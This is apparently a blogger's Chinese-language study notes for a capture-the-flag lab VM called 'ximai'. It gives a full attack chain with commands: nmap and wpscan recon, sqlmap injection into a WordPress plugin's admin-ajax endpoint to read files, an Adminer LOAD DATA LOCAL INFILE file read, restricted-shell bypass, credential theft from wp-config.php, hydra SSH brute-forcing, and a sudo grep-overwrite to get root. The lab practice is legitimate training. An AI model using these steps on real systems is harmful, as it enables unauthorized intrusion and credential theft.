ximai靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.7

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.7

看到22、80、3306、8000端口是开放的。访问8000端口,是一个wordpress系统

2、漏洞扫描

扫描这个系统是否存在什么插件漏洞:

bash 复制代码
wpscan --url http://192.168.1.7:8000/ --plugins-detection aggressive

这里我没有申请API,没拿到漏洞信息,后面知道是sql注入。

3、jimmy用户权限获取

方法(1):sqlmaq注入

在kali里,通过sqlmap注入测试,最后能拿到一个jimmy.txt的文件:

bash 复制代码
sqlmap -u 'http://192.168.1.7:8000/wp-admin/admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read '/etc/jimmy.txt'

cat这个文件,拿到密码:

方法(2):Mysql命令执行漏洞利用

使用gobuster工具扫描:

bash 复制代码
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://192.168.1.7 -x.php

扫出来3个页面,adminer.php、info.php、reminder.php

打开info.php,可以发现靶场所用系统版本、php版本、用户身份及权限、当前文件的目录:


打开reminder.php ,没收获:

打开adminder.php ,发现mysql数据库连接表:

kali里修改本地Mysql配置:

bash 复制代码
vi /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address =0.0.0.0
:wq!
service mariadb start
mysql -uroot -p

进入数据库里操作:

sql 复制代码
show databases;
create database test;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.7' IDENTIFIED BY '123456';
# MariaDB/MySQL 默认只允许 localhost(本机)连接,你的客户端 IP(192.168.1.7)不在服务器的权限列表里,所以会被拒绝访问
#因此,要加一条命令,允许该 IP 访问所有数据库,密码一定要配置
FLUSH PRIVILEGES;
# 刷新权限(必须执行,否则授权不生效)

验证一下是否允许远程登录:

bash 复制代码
SELECT user, host FROM mysql.user;

看到root用户及靶场IP添加到本地MYSQL访问列表里了,快捷键CTRL+D退出数据库。在网页里,访问数据库:

创建一张名字叫 x 的表,表里只有 1 个字段,名字叫 output,类型是文本,最长存 1024 个字符:

sql 复制代码
create table x(output varchar(1024));

等待执行成功:

jimmy.txt 里的每一行文字,一行一行存进表 xoutput 字段里。然后,把表 x 里面 所有的行、所有的列 全部查询、显示出来:

sql 复制代码
show tables;
load data local infile '/etc/jimmy.txt' into table x;
select * from x;

拿到用户jimmy的密码:

4、靶机命令限制绕过

查看一下,盲猜HandsomeHU是用户名jimmy 的密码,登录一手:

登录上去,发现不允许使用ls命令,有点意思:

查看环境变量(尝试绕限制):

bash 复制代码
echo $PATH

输出 ./...:说明 PATH 被篡改或限制了 ------ 正常 PATH 会是 /usr/bin:/bin 这类路径,现在只有 ./(当前目录),这也是为什么直接输 ls 会被拦(系统找不到合法的 ls 命令路径)。

方法(1):绝对路径绕过

用绝对路径执行 ls(绕过限制):

bash 复制代码
/bin/ls -al
方法(2):从本地重新SSH登录,强制进入sh壳

用绝对路径执行 ls(绕过限制):

bash 复制代码
ssh jimmy@192.168.1.7 -t sh

5、数据库代码审计

bash 复制代码
cd /var/www/wordpress
cat wp-config.php

拿到数据库密码:

进入数据库:

使用数据库查询:

sql 复制代码
use wordpress;
show tables;
select * from wp_users;

发现用户和凭证等关键信息:

6、用户名密码爆破

凭证解不开,还是爆破用户名对应的密码吧:

bash 复制代码
hydra -l adminer -P pass.txt ssh://192.168.1.7 -V -I

替换grep文件为bash文件:

bash 复制代码
ls -l /usr/bin/grep
echo bash > /usr/bin/grep
sudo /usr/bin/grep

最终拿到大权限。

PS:其他知识

  • 想要在靶场上执行脚本,直接修改 linpeas.sh 文件,把文件里所有的 grep 字符串,全部替换成 egrep

    bash 复制代码
    sed -i 's/grep/egrep/g' 'linpeas.sh'
    1. sed:
      Linux 系统里的文本处理工具,全称 "Stream Editor"(流编辑器),专门用来快速修改 文本内容(替换、删除、新增行等)。
    2. -i:
      sed 的核心参数 → 直接修改文件本身(in-place)。
      ⚠️ 重点:不加 -i 的话,sed 只会在屏幕上显示修改后的效果,不会真的改文件;加了 -i 才会直接改文件内容(执行前建议备份文件!)。
    3. 's/grep/egrep/g':
      这是 sed 的替换规则,格式是 s/旧内容/新内容/替换范围
      s → substitute(替换)的缩写,固定开头;
      grep → 要被替换的旧字符串;
      egrep → 替换后的新字符串;
      g → global(全局)的缩写,表示一行里所有匹配的 grep 都替换(不加 g 只会替换每行第一个 grep)。
    4. 'linpeas.sh'
      要修改的目标文件(linpeas.sh 是 Linux 提权枚举的常用脚本)。
  • 精准匹配字典中独立的「creds」关键词:

    bash 复制代码
    grep -Pnr '^creds$' /usr/share/seclists/Discovery/Web-Content
部分 含义说明(对比普通 grep 重点讲差异)
-P 启用 Perl 正则表达式(支持 ^/$ 等锚点符号);
-n 显示匹配行的行号 (输出里的 470:/9672: 就是行号);
-r 递归搜索目标目录下的所有文件(包括子目录,比如 /api/ 子目录);
'^creds$' 核心:正则精准匹配 (这是和普通 grep creds 最大的区别) - ^:行首锚点(表示一行的开始) - $:行尾锚点(表示一行的结束) - 组合含义:只匹配「整行只有 creds 这一个词」的行 (不会匹配 creds123/admin_creds/creds.php 这类包含 creds 但有其他字符的行);
/usr/share/seclists/Discovery/Web-Content 目标路径:Kali 内置的 Seclists 字典库的 Web 目录。
相关推荐
nashane1 小时前
HarmonyOS 6学习:外接键盘CapsLock与长截图功能的实战调试与完整解决方案
学习·华为·计算机外设·harmonyos
IT19951 小时前
Dify笔记-创建自定义工具连接到自建的OpenAPI Schema服务
笔记
一口吃俩胖子2 小时前
【脉宽调制DCDC功率变换学习笔记021】时域性能准则
笔记·学习
starvapour3 小时前
SSH笔记
笔记·ssh
@杰克成3 小时前
Java学习30
java·开发语言·学习
三品吉他手会点灯3 小时前
C语言学习笔记 - 40.数据类型 - scanf函数的编程规范与非法输入处理
c语言·开发语言·笔记·学习
大G的笔记本4 小时前
synchronized 的原理(简单版)
笔记
Bechamz5 小时前
大数据开发学习Day36
大数据·学习
daad7775 小时前
记录一个希尔伯特曲线笔记
笔记